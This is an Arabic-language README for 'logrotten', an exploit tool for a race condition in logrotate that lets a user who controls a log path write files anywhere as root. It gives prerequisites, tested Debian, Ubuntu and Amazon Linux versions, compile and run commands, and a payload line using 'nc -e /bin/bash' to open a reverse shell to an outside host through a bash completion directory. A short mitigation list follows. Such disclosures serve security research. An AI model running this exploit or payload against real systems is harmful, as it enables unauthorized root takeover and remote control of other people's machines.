[!WARNING]
تم نقل هذا المستودع إلى https://codeberg.org/whotwagner/logrotten. يرجى زيارة الموقع الجديد للحصول على أحدث التحديثات.
استغلال حالة سباق في logrotate لرفع الامتيازات

وصف موجز
- logrotate معرّض لحالة سباق بعد إعادة تسمية ملف السجل.
- إذا تم تنفيذ logrotate بصلاحيات الجذر، مع خيار ينشئ ملفًا (مثل create أو copy أو compress وما إلى ذلك) وكان المستخدم يتحكم في مسار ملف السجل، فمن الممكن استغلال حالة السباق لكتابة ملفات في أي أدلة.
- يمكن للمهاجم رفع امتيازاته بكتابة قذائف عكسية في أدلة مثل "/etc/bash_completition.d/".
المتطلبات المسبقة لرفع الامتيازات
- يجب تنفيذ Logrotate بصلاحيات الجذر
- يجب أن يكون مسار السجل تحت سيطرة المهاجم
- يجب تعيين أي خيار ينشئ ملفات في إعداد logrotate
الإصدارات المختبرة
- Debian GNU/Linux 11 (bullseye)
- Debian GNU/Linux 9.5 (stretch)
- Amazon Linux 2 AMI (HVM)
- Ubuntu 18.04.1
- logrotate 3.8.6
- logrotate 3.11.0
- logrotate 3.15.0
- logrotate 3.18.0
التجميع
gcc -o logrotten logrotten.c
تجهيز الحمولة
echo "if [ `id -u` -eq 0 ]; then (/bin/nc -e /bin/bash myhost 3333 &); fi" > payloadfile
تشغيل الاستغلال
إذا تم تعيين خيار "create" في logrotate.cfg:
./logrotten -p ./payloadfile /tmp/log/pwnme.log
إذا تم تعيين خيار "compress" في logrotate.cfg:
./logrotten -p ./payloadfile -c -s 4 /tmp/log/pwnme.log
المشاكل المعروفة
- كان من الصعب الفوز بالسباق داخل حاوية docker أو على lvm2-volume. هذا الإصدار من logrotten يحسّن الموثوقية.
التخفيف
- تأكد من أن مسار السجل مملوك للجذر
- استخدم الخيار "su" في logrotate.cfg
- استخدم selinux أو apparmor
المؤلف
المراجع